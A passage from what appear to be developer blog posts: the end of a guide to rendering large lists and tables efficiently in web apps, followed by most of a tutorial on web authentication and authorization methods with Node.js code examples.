      const row = document.createElement('div');
      row.className = 'row';
      row.textContent = items[i].name;
      fragment.appendChild(row);
    }

    container.appendChild(fragment);
    index = end;

    if (index < items.length) {
      // Yield to the browser — let it paint, handle events, etc.
      requestAnimationFrame(renderChunk);
    }
  }

  requestAnimationFrame(renderChunk);
}

React 18's Built-in Time-Slicing with `useTransition`

React 18 gives you this for free:

function SearchableList({ items }) {
  const [query, setQuery] = useState('');
  const [filtered, setFiltered] = useState(items);
  const [isPending, startTransition] = useTransition();

  const handleSearch = (e) => {
    const value = e.target.value;
    setQuery(value); // Urgent update — input stays responsive

    startTransition(() => {
      // Low-priority — React can interrupt this to keep UI responsive
      const result = items.filter(item =>
        item.name.toLowerCase().includes(value.toLowerCase())
      );
      setFiltered(result);
    });
  };

  return (
    <div>
      <input value={query} onChange={handleSearch} />
      {isPending && <span>Filtering...</span>}
      <VirtualizedList items={filtered} />
    </div>
  );
}

React will break up the state update into smaller chunks and yield back to the browser between them. The input never feels sluggish.

Technique 8: CSS Containment & content-visibility

These CSS properties tell the browser it can skip work for off-screen elements.

content-visibility: auto

This is the CSS equivalent of virtualization — the browser skips rendering for off-screen elements:

.row {
  content-visibility: auto;
  contain-intrinsic-size: 0 50px; /* estimated height when hidden */
}

Without content-visibility:
  Browser renders ALL 100,000 rows
  ┌─────────────────────┐
  │ Row 1    [rendered]  │  viewport
  │ Row 2    [rendered]  │
  │ Row 3    [rendered]  │
  ├─────────────────────┤
  │ Row 4    [rendered]  │  off-screen but still
  │ Row 5    [rendered]  │  fully rendered
  │ ...                  │
  │ Row 100K [rendered]  │
  └─────────────────────┘

With content-visibility: auto:
  Browser only renders visible rows
  ┌─────────────────────┐
  │ Row 1    [rendered]  │  viewport
  │ Row 2    [rendered]  │
  │ Row 3    [rendered]  │
  ├─────────────────────┤
  │ Row 4    [skipped]   │  layout calculated,
  │ Row 5    [skipped]   │  but paint/style skipped
  │ ...                  │
  │ Row 100K [skipped]   │
  └─────────────────────┘

CSS contain Property

More granular control over what the browser can optimize:

.data-table-row {
  contain: layout style paint;
  /* layout: this element's layout doesn't affect siblings */
  /* style: counters/etc don't leak out */
  /* paint: children don't paint outside bounds */
}

/* Nuclear option — all containment */
.isolated-widget {
  contain: strict;
}

When to Use CSS vs. JavaScript Virtualization

Approach	DOM Nodes	Memory	Scroll Perf	Setup
content-visibility	All in DOM	High	Good	2 lines of CSS
JS Virtualization	Only visible	Low	Excellent	Library setup

Use content-visibility for moderate lists (1K–10K items). Use JS virtualization for anything larger.

Technique 9: Lazy Loading Strategies

Progressive Disclosure

Show summary first, load details on demand:

function ExpandableRow({ row }) {
  const [expanded, setExpanded] = useState(false);
  const [details, setDetails] = useState(null);

  const handleExpand = async () => {
    if (!expanded && !details) {
      const res = await fetch(`/api/rows/${row.id}/details`);
      setDetails(await res.json());
    }
    setExpanded(!expanded);
  };

  return (
    <>
      <tr onClick={handleExpand}>
        <td>{row.name}</td>
        <td>{row.summary}</td>
        <td>{expanded ? '▼' : '▶'}</td>
      </tr>
      {expanded && details && (
        <tr>
          <td colSpan={3}>
            <DetailView data={details} />
          </td>
        </tr>
      )}
    </>
  );
}

Skeleton Screens

Show structure immediately, fill in data when ready:

function TableSkeleton({ rows = 20, cols = 5 }) {
  return (
    <table>
      <tbody>
        {Array.from({ length: rows }).map((_, i) => (
          <tr key={i}>
            {Array.from({ length: cols }).map((_, j) => (
              <td key={j}>
                <div
                  className="skeleton-pulse"
                  style={{
                    width: `${60 + Math.random() * 40}%`,
                    height: '16px',
                    borderRadius: '4px',
                    background: 'linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%)',
                    backgroundSize: '200% 100%',
                    animation: 'shimmer 1.5s infinite',
                  }}
                />
              </td>
            ))}
          </tr>
        ))}
      </tbody>
    </table>
  );
}

Table Libraries Compared

If you don't want to build from scratch, here's how the major table libraries stack up:

Feature	TanStack Table	ag-Grid	MUI DataGrid
Bundle size	~15 KB	~200 KB (community)	~90 KB
Virtualization	Via TanStack Virtual	Built-in (excellent)	Built-in
Max rows tested	100K+	1M+ (canvas mode)	100K+
Sorting	Built-in	Built-in + server	Built-in + server
Filtering	Built-in	Built-in (advanced)	Built-in
Grouping/Pivot	Plugin	Enterprise feature	Pro feature
Column resize	Plugin	Built-in	Built-in
Editing	Manual	Built-in	Built-in
Export (CSV/Excel)	Manual	Enterprise	Pro
Rendering	DOM	DOM + Canvas hybrid	DOM
Framework	Any	Any (React/Vue/Angular)	React (MUI)
License	MIT	Community: MIT / Enterprise: paid	Community: MIT / Pro: paid
Headless?	Yes (UI agnostic)	No (provides UI)	No (provides UI)

Quick Recommendation

Headless + full control: TanStack Table + TanStack Virtual
Enterprise data grid: ag-Grid Enterprise (nothing else comes close at 1M+ rows)
MUI ecosystem: MUI DataGrid Pro
Simple table with sort/filter: TanStack Table (lightweight, flexible)

Real-World Examples

How Google Sheets Handles Millions of Cells

Google Sheets renders a canvas-based grid for the cell area. The DOM is used only for the toolbar, menus, and accessibility layer. Key techniques:

Canvas rendering for cells — one <canvas> element for the entire sheet
Tile-based rendering — the sheet is divided into tiles, only visible tiles are rendered
Web Workers for formula calculation — complex formulas don't block scrolling
Incremental loading — only the visible range is fetched from the server

How Figma Renders Complex UIs

Figma uses a WebGL canvas for the design surface. The entire editor is rendered via GPU:

WebGL rendering — GPU-accelerated, not DOM-based
Custom text layout engine — doesn't use the browser's text rendering for the canvas
WASM for performance-critical code paths
Off-screen rendering — invisible objects are culled from the render tree

How Bloomberg Terminal Handles Real-Time Data

Bloomberg Terminal (web version) processes thousands of real-time updates per second:

WebSocket streams for live price feeds
Double-buffering — updates are batched and swapped in on the next frame
DOM recycling — rows are reused, only cell content changes
requestAnimationFrame batching — coalesces rapid updates into single frames

Performance Metrics That Matter

When optimizing large list rendering, track these metrics:

Metric	What It Measures	Target	Tool
FCP (First Contentful Paint)	When first content appears	< 1.8s	Lighthouse
LCP (Largest Contentful Paint)	When main content is visible	< 2.5s	Lighthouse
TTI (Time to Interactive)	When page is fully interactive	< 3.8s	Lighthouse
TBT (Total Blocking Time)	Main thread blocked time	< 200ms	Lighthouse
CLS (Cumulative Layout Shift)	Visual stability	< 0.1	Lighthouse
INP (Interaction to Next Paint)	Input responsiveness	< 200ms	Chrome UX Report
FPS during scroll	Scroll smoothness	60 fps	Chrome DevTools
JS Heap Size	Memory consumption	< 200 MB	DevTools Memory tab
DOM Node Count	DOM complexity	< 1,500	Lighthouse

Profiling Scroll Performance

// Quick FPS counter for development
let lastTime = performance.now();
let frames = 0;

function measureFPS() {
  frames++;
  const now = performance.now();
  if (now - lastTime >= 1000) {
    console.log(`FPS: ${frames}`);
    frames = 0;
    lastTime = now;
  }
  requestAnimationFrame(measureFPS);
}

requestAnimationFrame(measureFPS);

Decision Framework: Which Technique for Which Scale

How many rows do you need to display?
│
├─ < 100 rows
│   └─ Just render them. No optimization needed.
│
├─ 100 – 1,000 rows
│   └─ Pagination OR content-visibility: auto
│       Simple, effective, almost zero overhead.
│
├─ 1,000 – 10,000 rows
│   └─ Virtualization (react-window / react-virtuoso)
│       + Pagination or infinite scroll for data fetching
│
├─ 10,000 – 100,000 rows
│   └─ Virtualization + Web Workers for sort/filter
│       + Server-side pagination (cursor-based)
│       + Streaming SSR for initial load
│
├─ 100,000 – 1,000,000 rows
│   └─ Virtualization + Web Workers + Canvas hybrid
│       + Server-streaming (NDJSON / gRPC)
│       + Consider ag-Grid Enterprise
│
└─ > 1,000,000 rows
    └─ Full canvas rendering (like Google Sheets)
        + Server-side everything (sort, filter, aggregate)
        + WebSocket for real-time updates
        + Possibly WASM for client-side computation

Quick Reference Table

Scale	Technique	Complexity	Time to Implement
< 1K	Raw rendering + CSS	Low	Minutes
1K–10K	Virtualization library	Low-Med	Hours
10K–100K	Virtual + workers + streaming	Medium	Days
100K–1M	Canvas hybrid + server-side ops	High	Weeks
> 1M	Full canvas + WASM + custom infra	Very High	Months

Wrapping Up

Rendering massive datasets is fundamentally about one thing: doing less work. Every technique we covered is a way to avoid unnecessary computation:

Pagination — don't load what the user hasn't asked for
Virtualization — don't render what the user can't see
Canvas — don't create DOM nodes for things that are just pixels
Web Workers — don't block the UI thread with computation
Streaming — don't wait for everything before showing something
CSS containment — don't paint what's off-screen

Start with the simplest technique that meets your requirements. Pagination solves 80% of use cases. Virtualization covers another 15%. Canvas rendering and WASM are for the remaining 5% — the Google Sheets and Figma-scale problems.

The best optimization is the one you don't need. But when you do need it, now you know every option on the table.

Let's Connect!

If you found this guide helpful, I'd love to connect with you! I regularly share deep dives on system design, backend engineering, and software architecture.

Connect with me on LinkedIn — let's grow together.

Drop a comment, share this with someone who needs this, and follow along for more guides like this!

Authentication & Authorization: The Ultimate Guide

Ishaan Pandey — Sat, 21 Mar 2026 11:09:32 +0000

Authentication & Authorization: The Ultimate Guide

Auth is one of those things that every developer deals with but few truly understand end-to-end. You've probably slapped a JWT into localStorage, called it a day, and moved on. No judgment — we've all been there. But auth is the front door to your application, and a weak front door means everything behind it is at risk.

This guide covers everything: from the fundamentals of "who are you?" vs "what can you do?" to the nitty-gritty of token storage, password hashing, and authorization models used by companies like Google and Airbnb. Let's get into it.

Authentication vs Authorization

These two words sound similar and get confused constantly. Here's the simplest way to think about it:

	Authentication (AuthN)	Authorization (AuthZ)
Question	"Who are you?"	"What are you allowed to do?"
Analogy	Showing your ID at the door	Your ID says VIP, so you get backstage access
When	At login / on every request	After identity is confirmed
Fails with	401 Unauthorized	403 Forbidden
Example	Logging in with email + password	Admin can delete users, regular users can't

┌──────────────────────────────────────────────────────────┐
│                    Request Lifecycle                       │
│                                                          │
│   User ──> Authentication ──> Authorization ──> Resource │
│            "Who is this?"     "Can they do     "Here's   │
│                                this action?"    the data" │
│                                                          │
│   Failed:  401 Unauthorized   403 Forbidden              │
└──────────────────────────────────────────────────────────┘

Authentication always comes first. You can't decide what someone is allowed to do until you know who they are.

Authentication Methods: The Full Landscape

1. Username/Password (The Classic)

The oldest method in the book. User provides credentials, server verifies them against stored hashes.

The critical rule: NEVER store passwords in plaintext. NEVER use MD5 or SHA for passwords.

Why not MD5/SHA? They're designed to be fast. That's great for checksums but terrible for passwords — an attacker can try billions of hashes per second.

Password Hashing Algorithms (Use These)

Algorithm	Status	Notes
bcrypt	Recommended	Battle-tested, built-in salt, configurable cost factor
argon2	Best (if available)	Winner of Password Hashing Competition (2015), memory-hard
scrypt	Good	Memory-hard, used by some crypto systems
PBKDF2	Acceptable	NIST approved, but less resistant to GPU attacks
MD5	NEVER	Fast, broken, no salt by default
SHA-256	NEVER (for passwords)	Fast, not designed for password hashing

// bcrypt — the most common choice
const bcrypt = require('bcrypt');

// Hashing a password (on registration)
async function hashPassword(plaintext) {
  const saltRounds = 12; // Cost factor — 12 is a good default in 2026
  return await bcrypt.hash(plaintext, saltRounds);
}

// Verifying a password (on login)
async function verifyPassword(plaintext, hash) {
  return await bcrypt.compare(plaintext, hash);
}

// Usage
const hash = await hashPassword('mySecureP@ssw0rd');
// "$2b$12$LJ3m4ys3Lk0TSwHiPjVIBuPEhE1Nw8bFOn3jGKmEHN2GOJlnMGKi"

const isValid = await verifyPassword('mySecureP@ssw0rd', hash);
// true

// argon2 — the modern choice
const argon2 = require('argon2');

async function hashPassword(plaintext) {
  return await argon2.hash(plaintext, {
    type: argon2.argon2id,  // Hybrid mode (recommended)
    memoryCost: 65536,      // 64 MB
    timeCost: 3,            // 3 iterations
    parallelism: 4          // 4 threads
  });
}

async function verifyPassword(plaintext, hash) {
  return await argon2.verify(hash, plaintext);
}

Salting, Peppering, and Why They Matter

Password: "hunter2"

Without salt:
  hash("hunter2") = "ab4f63f9ac...always the same"
  Two users with "hunter2" have identical hashes (bad!)

With salt (random per user):
  hash("hunter2" + "x7Km9pQ2") = "8f14e45f..."
  hash("hunter2" + "aB3nR8wL") = "2c6ee24b..."
  Same password, different hashes (good!)

With pepper (secret key, same for all users, stored separately):
  hash("hunter2" + "x7Km9pQ2" + SERVER_PEPPER) = "9a1f3c7e..."
  Even if DB is leaked, attacker needs the pepper too

bcrypt and argon2 handle salting automatically. You only need to worry about peppering if you want an extra layer (store the pepper in an environment variable or secrets manager, not in the database).

2. Session-Based Authentication

The traditional approach: server creates a session after login and stores it server-side. The client gets a session ID cookie.

┌────────┐                              ┌────────┐
│ Client │                              │ Server │
└───┬────┘                              └───┬────┘
    │                                       │
    │  1. POST /login {email, password}     │
    │ ─────────────────────────────────────>│
    │                                       │  2. Validate credentials
    │                                       │  3. Create session in store
    │                                       │     (Redis/DB/memory)
    │                                       │     session_id -> {user_id, role, ...}
    │  4. Set-Cookie: sid=abc123; HttpOnly  │
    │ <─────────────────────────────────────│
    │                                       │
    │  5. GET /api/profile                  │
    │     Cookie: sid=abc123                │
    │ ─────────────────────────────────────>│
    │                                       │  6. Lookup session "abc123"
    │                                       │  7. Found: user_id=42
    │  8. {name: "Alice", email: "..."}    │
    │ <─────────────────────────────────────│
    │                                       │
    │  9. POST /logout                      │
    │ ─────────────────────────────────────>│
    │                                       │  10. Delete session "abc123"
    │  11. Set-Cookie: sid=; Max-Age=0     │
    │ <─────────────────────────────────────│

// Express session-based auth
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const { createClient } = require('redis');

const app = express();
const redisClient = createClient({ url: 'redis://localhost:6379' });
redisClient.connect();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,        // HTTPS only
    httpOnly: true,      // Not accessible via JavaScript
    sameSite: 'lax',     // CSRF protection
    maxAge: 24 * 60 * 60 * 1000 // 24 hours
  }
}));

// Login
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await db.users.findByEmail(email);

  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Create session
  req.session.userId = user.id;
  req.session.role = user.role;

  res.json({ user: { id: user.id, email: user.email, role: user.role } });
});

// Auth middleware
function requireAuth(req, res, next) {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
  }
  next();
}

// Protected route
app.get('/api/profile', requireAuth, async (req, res) => {
  const user = await db.users.findById(req.session.userId);
  res.json(user);
});

// Logout
app.post('/logout', (req, res) => {
  req.session.destroy((err) => {
    if (err) return res.status(500).json({ error: 'Logout failed' });
    res.clearCookie('connect.sid');
    res.json({ message: 'Logged out' });
  });
});

3. Token-Based Authentication (JWT)

Instead of storing sessions server-side, the server issues a signed token that the client stores and sends with every request. The server verifies the token's signature without needing a database lookup.

┌────────┐                              ┌────────┐
│ Client │                              │ Server │
└───┬────┘                              └───┬────┘
    │                                       │
    │  1. POST /login {email, password}     │
    │ ─────────────────────────────────────>│
    │                                       │  2. Validate credentials
    │                                       │  3. Create JWT:
    │                                       │     header.payload.signature
    │  4. { accessToken, refreshToken }     │
    │ <─────────────────────────────────────│
    │                                       │
    │  5. GET /api/profile                  │
    │     Authorization: Bearer <JWT>       │
    │ ─────────────────────────────────────>│
    │                                       │  6. Verify JWT signature
    │                                       │  7. Decode payload: {sub: 42}
    │  8. {name: "Alice", ...}             │
    │ <─────────────────────────────────────│
    │                                       │
    │  --- Access token expires ---         │
    │                                       │
    │  9. POST /refresh {refreshToken}      │
    │ ─────────────────────────────────────>│
    │                                       │  10. Validate refresh token
    │                                       │  11. Issue new access token
    │  12. { newAccessToken }               │
    │ <─────────────────────────────────────│

Anatomy of a JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    <-- Header (base64)
eyJzdWIiOiI0MiIsInJvbGUiOiJhZG1pbiIsIm    <-- Payload (base64)
lhdCI6MTcwOTEyNjAwMCwiZXhwIjoxNzA5MTI5
NjAwfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ    <-- Signature
ssw5c

Decoded Header:
{
  "alg": "HS256",    // Signing algorithm
  "typ": "JWT"       // Token type
}

Decoded Payload:
{
  "sub": "42",       // Subject (user ID)
  "role": "admin",   // Custom claim
  "iat": 1709126000, // Issued at
  "exp": 1709129600  // Expires at (1 hour later)
}

Signature:
HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

The payload is NOT encrypted — it's just base64-encoded. Anyone can read it. The signature only proves it hasn't been tampered with.

Implementation with Access + Refresh Tokens

const jwt = require('jsonwebtoken');

const ACCESS_SECRET = process.env.JWT_ACCESS_SECRET;
const REFRESH_SECRET = process.env.JWT_REFRESH_SECRET;
const ACCESS_EXPIRY = '15m';    // Short-lived
const REFRESH_EXPIRY = '7d';    // Long-lived

// Generate token pair
function generateTokens(user) {
  const accessToken = jwt.sign(
    { sub: user.id, role: user.role },
    ACCESS_SECRET,
    { expiresIn: ACCESS_EXPIRY }
  );

  const refreshToken = jwt.sign(
    { sub: user.id, tokenVersion: user.tokenVersion },
    REFRESH_SECRET,
    { expiresIn: REFRESH_EXPIRY }
  );

  return { accessToken, refreshToken };
}

// Verify access token middleware
function authenticateToken(req, res, next) {
  const authHeader = req.headers.authorization;
  const token = authHeader?.startsWith('Bearer ')
    ? authHeader.slice(7)
    : null;

  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }

  try {
    const payload = jwt.verify(token, ACCESS_SECRET);
    req.user = { id: payload.sub, role: payload.role };
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token expired', code: 'TOKEN_EXPIRED' });
    }
    return res.status(401).json({ error: 'Invalid token' });
  }
}

// Refresh endpoint
app.post('/auth/refresh', async (req, res) => {
  const { refreshToken } = req.body;
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });

  try {
    const payload = jwt.verify(refreshToken, REFRESH_SECRET);
    const user = await db.users.findById(payload.sub);

    // Check token version (for revocation)
    if (!user || user.tokenVersion !== payload.tokenVersion) {
      return res.status(401).json({ error: 'Token revoked' });
    }

    // Issue new tokens (token rotation)
    const tokens = generateTokens(user);

    // Optionally: increment tokenVersion to invalidate old refresh token
    // This is "refresh token rotation" — each refresh token is single-use
    await db.users.update(user.id, {
      tokenVersion: user.tokenVersion + 1
    });

    res.json(tokens);
  } catch (err) {
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
});

// Login
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await db.users.findByEmail(email);

  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  const tokens = generateTokens(user);

  // Set refresh token as httpOnly cookie
  res.cookie('refreshToken', tokens.refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000,
    path: '/auth/refresh' // Only sent to refresh endpoint
  });

  res.json({ accessToken: tokens.accessToken });
});

Refresh Token Rotation

A security best practice: every time a refresh token is used, issue a new one and invalidate the old one. If an attacker steals a refresh token and uses it, the legitimate user's next refresh will fail (because the token version changed), alerting you to the breach.

Normal flow:
  RT-v1 --> new AT + RT-v2
  RT-v2 --> new AT + RT-v3
  RT-v3 --> new AT + RT-v4

Attack detected:
  Attacker steals RT-v2
  Legit user uses RT-v2 --> new AT + RT-v3 (v2 invalidated)
  Attacker tries RT-v2 --> REJECTED (version mismatch)
  Flag the account for potential compromise

4. OAuth 2.0 / Social Login

OAuth 2.0 lets users log in via third-party providers (Google, GitHub, etc.) without sharing their password with your app.

┌────────┐         ┌──────────┐         ┌──────────────┐
│  User  │         │ Your App │         │ Google/GitHub │
└───┬────┘         └────┬─────┘         └──────┬───────┘
    │                   │                       │
    │ 1. "Login with    │                       │
    │     Google"       │                       │
    │ ────────────────> │                       │
    │                   │ 2. Redirect to Google │
    │                   │     with client_id,   │
    │                   │     redirect_uri,     │
    │ <──────────────── │     scope             │
    │ 3. Redirect       │                       │
    │                   │                       │
    │ 4. User logs in   │                       │
    │    at Google,     │                       │
    │    grants consent │                       │
    │ ─────────────────────────────────────────>│
    │                   │                       │
    │ 5. Redirect back  │                       │
    │    with auth code │                       │
    │ ────────────────> │                       │
    │                   │ 6. Exchange code for  │
    │                   │    tokens (server-    │
    │                   │    to-server)         │
    │                   │ ─────────────────────>│
    │                   │                       │
    │                   │ 7. Access token +     │
    │                   │    user info          │
    │                   │ <─────────────────────│
    │                   │                       │
    │ 8. Session/JWT    │ 9. Create/find user   │
    │    created        │    in your DB         │
    │ <──────────────── │                       │

Key points:

The authorization code exchange (step 6) happens server-to-server — the user never sees your client secret
You get an access token for the provider's API (e.g., Google's), not for your own API
You still need to create your own session or JWT for your app after OAuth completes

5. Magic Links / Passwordless

No password at all. The user enters their email, gets a link, clicks it, and they're in.

const crypto = require('crypto');

// Generate magic link
app.post('/auth/magic-link', async (req, res) => {
  const { email } = req.body;
  const user = await db.users.findByEmail(email);

  if (!user) {
    // Don't reveal whether email exists — always show success
    return res.json({ message: 'If that email exists, we sent a link.' });
  }

  // Generate a secure random token
  const token = crypto.randomBytes(32).toString('hex');
  const expiresAt = new Date(Date.now() + 15 * 60 * 1000); // 15 minutes

  await db.magicLinks.create({
    userId: user.id,
    token: await bcrypt.hash(token, 10), // Hash the token in DB
    expiresAt,
    used: false
  });

  const link = `https://yourapp.com/auth/verify?token=${token}&email=${email}`;
  await sendEmail(email, 'Your login link', `Click here to log in: ${link}`);

  res.json({ message: 'If that email exists, we sent a link.' });
});

// Verify magic link
app.get('/auth/verify', async (req, res) => {
  const { token, email } = req.query;
  const user = await db.users.findByEmail(email);
  if (!user) return res.status(401).json({ error: 'Invalid link' });

  const magicLink = await db.magicLinks.findLatestForUser(user.id);
  if (!magicLink || magicLink.used || magicLink.expiresAt < new Date()) {
    return res.status(401).json({ error: 'Link expired or already used' });
  }

  const isValid = await bcrypt.compare(token, magicLink.token);
  if (!isValid) return res.status(401).json({ error: 'Invalid link' });

  // Mark as used
  await db.magicLinks.update(magicLink.id, { used: true });

  // Create session or JWT
  const tokens = generateTokens(user);
  res.json(tokens);
});

Pros: No passwords to manage, phishing-resistant (sort of), great UX
Cons: Relies on email security, slow (waiting for email), can't work offline

6. Passkeys / WebAuthn (The Future)

Passkeys use public-key cryptography. The user's device stores a private key; the server stores the public key. Authentication happens via biometrics (fingerprint, Face ID) or a device PIN. No passwords involved.

Registration:
  Device generates key pair
  Private key stays on device (never leaves)
  Public key sent to server and stored

Authentication:
  Server sends a challenge (random bytes)
  Device signs challenge with private key (after biometric verification)
  Server verifies signature with stored public key
  If valid, user is authenticated

// Server-side (using @simplewebauthn/server)
const {
  generateRegistrationOptions,
  verifyRegistrationResponse,
  generateAuthenticationOptions,
  verifyAuthenticationResponse
} = require('@simplewebauthn/server');

const rpName = 'Your App';
const rpID = 'yourapp.com';
const origin = 'https://yourapp.com';

// Registration: Step 1 — Generate options
app.post('/auth/passkey/register/options', requireAuth, async (req, res) => {
  const user = await db.users.findById(req.user.id);
  const existingCredentials = await db.credentials.findByUserId(user.id);

  const options = await generateRegistrationOptions({
    rpName,
    rpID,
    userID: user.id,
    userName: user.email,
    attestationType: 'none',
    excludeCredentials: existingCredentials.map(cred => ({
      id: cred.credentialId,
      type: 'public-key'
    })),
    authenticatorSelection: {
      residentKey: 'preferred',
      userVerification: 'preferred'
    }
  });

  // Store challenge for verification
  await db.challenges.store(user.id, options.challenge);
  res.json(options);
});

// Registration: Step 2 — Verify response
app.post('/auth/passkey/register/verify', requireAuth, async (req, res) => {
  const user = await db.users.findById(req.user.id);
  const expectedChallenge = await db.challenges.get(user.id);

  const verification = await verifyRegistrationResponse({
    response: req.body,
    expectedChallenge,
    expectedOrigin: origin,
    expectedRPID: rpID
  });

  if (verification.verified) {
    await db.credentials.create({
      userId: user.id,
      credentialId: verification.registrationInfo.credentialID,
      publicKey: verification.registrationInfo.credentialPublicKey,
      counter: verification.registrationInfo.counter
    });
    res.json({ verified: true });
  } else {
    res.status(400).json({ error: 'Verification failed' });
  }
});

Passkeys are supported by Apple, Google, and Microsoft. They sync across devices (iCloud Keychain, Google Password Manager). This is genuinely the future of authentication — phishing-proof, no passwords to leak, and the UX is just "tap your fingerprint."

7. API Keys

Simple tokens for machine-to-machine or developer API access. Not for end-user authentication.

// Generating an API key
function generateAPIKey() {
  const prefix = 'sk_live_'; // Helps identify the key type
  const key = crypto.randomBytes(32).toString('hex');
  return prefix + key;
  // "sk_live_a1b2c3d4e5f6..."
}

// Store the HASH, not the raw key
async function createAPIKey(userId, name) {
  const rawKey = generateAPIKey();
  const hashedKey = await bcrypt.hash(rawKey, 10);

  await db.apiKeys.create({
    userId,
    name,
    keyHash: hashedKey,
    prefix: rawKey.slice(0, 12), // Store prefix for identification
    createdAt: new Date()
  });

  // Return raw key ONCE — it can never be retrieved again
  return rawKey;
}

// Middleware to verify API key
async function authenticateAPIKey(req, res, next) {
  const key = req.headers['x-api-key'] || req.headers.authorization?.replace('Bearer ', '');
  if (!key) return res.status(401).json({ error: 'API key required' });

  // Find by prefix for efficiency (avoids checking every key)
  const prefix = key.slice(0, 12);
  const candidates = await db.apiKeys.findByPrefix(prefix);

  for (const candidate of candidates) {
    if (await bcrypt.compare(key, candidate.keyHash)) {
      req.apiKey = candidate;
      req.user = await db.users.findById(candidate.userId);
      return next();
    }
  }

  return res.status(401).json({ error: 'Invalid API key' });
}

8. mTLS (Mutual TLS)

Standard TLS: the client verifies the server's certificate. Mutual TLS: both sides verify each other. Used for service-to-service communication in microservices.

Normal TLS:
  Client ──> "Show me your certificate" ──> Server
  Client <── Server's certificate          <── Server
  Client verifies server. Done.

Mutual TLS:
  Client ──> "Show me your certificate" ──> Server
  Client <── Server's certificate          <── Server
  Client verifies server.
  Server ──> "Now show ME yours"         ──> Client
  Server <── Client's certificate          <── Client
  Server verifies client. Both verified.

# Nginx mTLS configuration
server {
    listen 443 ssl;

    # Server's certificate
    ssl_certificate /etc/ssl/server.crt;
    ssl_certificate_key /etc/ssl/server.key;

    # Require client certificate
    ssl_client_certificate /etc/ssl/ca.crt;  # CA that signed client certs
    ssl_verify_client on;

    location /internal-api/ {
        # Pass client cert info to backend
        proxy_set_header X-Client-DN $ssl_client_s_dn;
        proxy_set_header X-Client-Verified $ssl_client_verify;
        proxy_pass http://backend;
    }
}

9. MFA / 2FA

Something you know (password) + something you have (phone/key) + something you are (biometric).

TOTP (Time-based One-Time Password) is the most common second factor:

const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// Enable 2FA: Step 1 — Generate secret
app.post('/auth/2fa/setup', requireAuth, async (req, res) => {
  const secret = speakeasy.generateSecret({
    name: `YourApp (${req.user.email})`,
    issuer: 'YourApp'
  });

  // Store secret temporarily (not yet verified)
  await db.users.update(req.user.id, {
    tempTotpSecret: secret.base32
  });

  // Generate QR code for authenticator app
  const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);

  res.json({
    secret: secret.base32,   // Backup code for manual entry
    qrCode: qrCodeUrl        // For scanning with Google Authenticator, etc.
  });
});

// Enable 2FA: Step 2 — Verify and activate
app.post('/auth/2fa/verify', requireAuth, async (req, res) => {
  const { code } = req.body;
  const user = await db.users.findById(req.user.id);

  const isValid = speakeasy.totp.verify({
    secret: user.tempTotpSecret,
    encoding: 'base32',
    token: code,
    window: 1  // Allow 1 step before/after (30-second window)
  });

  if (isValid) {
    // Generate backup codes
    const backupCodes = Array.from({ length: 10 }, () =>
      crypto.randomBytes(4).toString('hex')
    );

    await db.users.update(req.user.id, {
      totpSecret: user.tempTotpSecret,
      tempTotpSecret: null,
      twoFactorEnabled: true,
      backupCodes: await Promise.all(
        backupCodes.map(code => bcrypt.hash(code, 10))
      )
    });

    res.json({
      enabled: true,
      backupCodes  // Show ONCE — user must save these
    });
  } else {
    res.status(400).json({ error: 'Invalid code' });
  }
});

Second factor comparison:

Method	Security	UX	Notes
TOTP (authenticator app)	High	Medium	Google Authenticator, Authy — offline capable
SMS	Low-Medium	Easy	Vulnerable to SIM swapping, but better than nothing
Push notification	High	Great	Duo, Auth0 Guardian — one tap to approve
Hardware key (YubiKey)	Very high	Medium	Phishing-proof, but costs money
Passkey	Very high	Great	If adopted, replaces both password and 2FA

Sessions vs JWTs: The Great Debate

This is one of the most debated topics in web development. Here's an honest comparison.

Aspect	Sessions	JWTs
State	Stateful (server stores session)	Stateless (token contains everything)
Storage	Server: Redis/DB. Client: cookie with session ID	Server: nothing. Client: cookie or header
Scalability	Need shared session store across servers	No server-side state — any server can verify
Revocation	Easy — delete the session from the store	Hard — token valid until expiry (unless you add a blocklist)
Size	Cookie: ~20 bytes (just the ID)	Cookie/header: 800+ bytes (full token)
Security	Session ID is opaque (no data exposure)	Payload is readable (base64, not encrypted)
Mobile/SPA	Works with cookies	Works with any HTTP client
Microservices	Every service needs session store access	Any service can verify independently

When to Use Sessions

Traditional server-rendered web apps
When you need instant revocation (ban a user, they're out immediately)
When you want simplicity and don't need cross-service auth
When the added infrastructure (Redis) is not a concern

When to Use JWTs

SPAs or mobile apps that talk to APIs
Microservices architecture (each service verifies independently)
When you need to pass user info between services without a shared DB
Serverless (no persistent server to store sessions)

The Pragmatic Answer

For most apps? Use httpOnly cookie sessions with Redis. It's simpler, more secure by default, and you get instant revocation. JWTs are great when you genuinely need stateless auth or cross-service authentication, but they come with complexity (refresh tokens, rotation, revocation strategies) that sessions handle naturally.

If you DO use JWTs, use short-lived access tokens (15 minutes) with refresh token rotation, and store the refresh token in an httpOnly cookie.

Authorization Patterns

Once you know WHO the user is, you need to decide what they can DO.

RBAC (Role-Based Access Control)

The most common pattern. Users are assigned roles; roles have permissions.

┌──────────┐    ┌──────────┐    ┌──────────────────┐
│  Users   │───>│  Roles   │───>│  Permissions     │
